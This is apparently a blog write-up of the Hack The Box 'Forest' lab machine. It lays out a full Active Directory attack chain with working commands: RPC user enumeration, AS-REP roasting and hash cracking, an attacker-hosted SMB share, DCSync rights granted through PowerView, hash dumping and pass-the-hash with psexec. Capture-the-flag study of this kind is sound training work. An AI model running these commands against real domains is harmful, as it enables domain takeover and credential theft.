Hack The Box — Forest Writeup

Fahmi J
7 min readMar 12, 2021

--

When I first joined HackTheBox, Forest was the first machine that I was trying to own. It was an overall easy to medium difficulty machine.

On Forest, enumeration with anonymous logon/null session on RPC finds Active Directory users account and these can be used to perform AS-REP Roasting to obtain a ticket-granting-ticket (TGT) of a service account. The TGT itself contains a password hash of the user that can be cracked offline, this allows me gain a foothold on the system. For the root part, the service account permissions allows me to grant myself a DCsync rights, this can be leveraged to pull Active Directory NTLM hashes and use them to gain access as NT Authority\SYSTEM.

Reconnaissance

Nmap

root@iamf:~# nmap -sV -sC -oA -v initial-forest 10.10.10.171
  • -sC, to scan with default script
  • -sV, to scan service version
  • -oA, to save the output to all format (xml, nmap, gnmap)
  • -v, verbose mode
Nmap scan report for forest.htb (10.10.10.161)
Host is up (0.16s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-21 08:18:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/21%Time=5E75CC69%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m25s, deviation: 4h02m30s, median: 6m24s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2020-03-21T01:21:11-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-03-21T08:21:14
|_ start_date: 2020-03-20T05:27:17

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

From the scan results, I'm dealing with an Active Directory domain controller.

When it comes to an Active Directory, I often to see people begin their enumeration from SMB/RPC over SMB (445,139) and sometimes LDAP (389). I'll also follow that sequence because these three ports are most likely to have anonymous login.

Enumeration

TCP 445 — SMB / RPC over SMB

I can authenticate myself as anonymous/null session using both smbclient and rppclient. With current access I could get list of users and groups but not to file shares.

$ rpcclient -U '%' 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
... <omitted> ...
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

I’ll grab those usernames.

Foothold

I actually do a lot of enumerations using such as enum4linux and ldapsearch but to keep it short, I’ll just jump into the shell access.

AS-REP Roasting

In Active Directory, users with Kerberos pre-authentication disabled are vulnerable to what is known as AS-REP roasting attack.

When Kerberos is used as the authentication protocol and the pre-auth is enabled, the client or user must include a timestamp encrypted with their password hash for each request they send (KRB_AS_REQ). If the server reads a valid time** after decrypting the request using the user’s password stored in SAM, it gives the user a ticket-granting-ticket (TGT) along with a session key encrypted with the user’s password as the response (KRB_AS_REP).

Now, if the preauth is disabled, timestamp is not needed. As a result, an attacker could send a replay attack/dummy request to obtain the TGT, which contains the user’s password and brute force it offline (read more about it here).

**5 minutes is the default tolerance.

Below is the overview of the Kerberos mechanism. The AS-REP roasting process is indicated by the red circle (or oval I guess?).

Taken from “Vulnerability Assessment of Authentication Methods in a Large-Scale Computer System” by David Freimanis

A tool called GetNPUsers.py can be used to initiate a dummy request for AS-REP roasting. Here, the tool captured svc-alfresco's TGT.

GetNPUsers.py -dc-ip htb.forest -request htb.local/  -usersfile users -format hashcat

The obtained TGT can be cracked with dictionary attack using hashcat.

hashcat64.exe -m 18200 svcalfresco.txt rockyou.txt -O

I can login remotely to the box using svc-alfresco with evil-winrm

root@iamf:~# evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

User flag is done here.

Privilege Escalation

Shell as Administrator

BloodHound is a great tool to collect more information about object relationships within this Active Directory.

First, I’ll host my own shares using smbserver.py from Impacket. This will make it easier to exfil and clean up data.

root@iamf:~/htb/boxes/forest# mkdir shares; 
root@iamf:~/htb/boxes/forest# cd shares/
root@iamf:~/htb/boxes/forest# smbserver.py myfj . -smb2support -username iamf -password iamf

On Forest, I’ll use my share as a network drive.

*Evil-WinRM* PS C:\> $pass = ConvertTo-SecureString 'belompi' -AsPlainText -Force
*Evil-WinRM* PS C:\> $cred = New-Object System.management.automation.pscredential('mikun', $pass)
*Evil-WinRM* PS C:\> New-PSDrive -Name mikun -PSProvider FileSystem -Credential $cred -Root \\[tun0ip]\myfj
*Evil-WinRM* PS C:\> cd mikun:

I’ve already copied SharpHound.exe, the BloodHound ingestor, to my share.

I’ll start data collecting with -c all option to collect all.

*Evil-WinRM* PS mikun:\> .\SharpHound.exe -c all

After it finishes, I’ll fire up BloodHound GUI and then load the collected data by drag and drop.

root@iamf:~/htb/boxes/forest# neo4j console
<==splitted pane==>
root@iamf:~/htb/boxes/forest# bloodhound --no-sandbox

I marked svc-alfresco as ‘owned’ then used BloodHound pre-built analytics queries to find the shortest path from svc-alfresco to domain admin. The prebuilt query name is “Shortest Path from Owned Principal”.

Shortest Path from Owned

Path explanation, from top (nearest path to domain admin) to the bottom:

  • Exchange Windows Permissions group has WriteDacl permission on AD domain. It simply allows you to modify the domain object’s permissions. Users, groups, computers, shares are domain objects.
  • Account Operators group has GenericAll permissions on Exchange Windows Permissions group. It allows you to modify group membership like adding/removing a user to/from the group. Account Operators members have the ability to create a user.
  • Privileged IT Accounts group has direct membership to the Account Operators group.
  • User svc-alfresco is a direct member of the Service Account group and it has indirect membership to the Privileged IT Accounts and Account Operators group.

Based on the path, here is the plan:

  • Leverage Account Operators indirect membership to create a new user and join it to Exchange Windows Permission group
  • Leverage Exchange Windows Permissions group permission to grant DS-Replication-Get-Changes-All (DCSync) to the new user.

Credential Dumping with DCSync

On Forest, I’ll have to load PowerView.ps1 first.

*Evil-WinRM* PS mikun:\> Import-Module .\powerview.ps1

Create a new user and join it to the Exchange Windows Permissions group.

*Evil-WinRM* PS mikun:\> net user mikun password /add /domain
*Evil-WinRM* PS mikun:\> net group "Exchange Windows Permission" /add mikun

Then, grant it DCSync rights

*Evil-WinRM* PS mikun:\> $pass = ConvertTo-SecureString 'password' -AsPlainText -Force
*Evil-WinRM* PS mikun:\> $cred = New-Object System.management.automation.pscredential('mikun', $pass)
*Evil-WinRM* PS mikun:\> $cred
*Evil-WinRM* PS mikun:\> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb, DC=local" -PrincipalIdentity mikun -Rights DCSync

Now I can use secretsdump.py from impacket with that user to perform a DCSync attack.

To get the shell, I can use psexec.py from Impacket to perform a pass-the-hash attack.

root@iamf:~# psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161

Root flag is done here. That’s all, I hope it is helpful!

--

--

Fahmi J

Just curious to learn how things work, especially in digital world.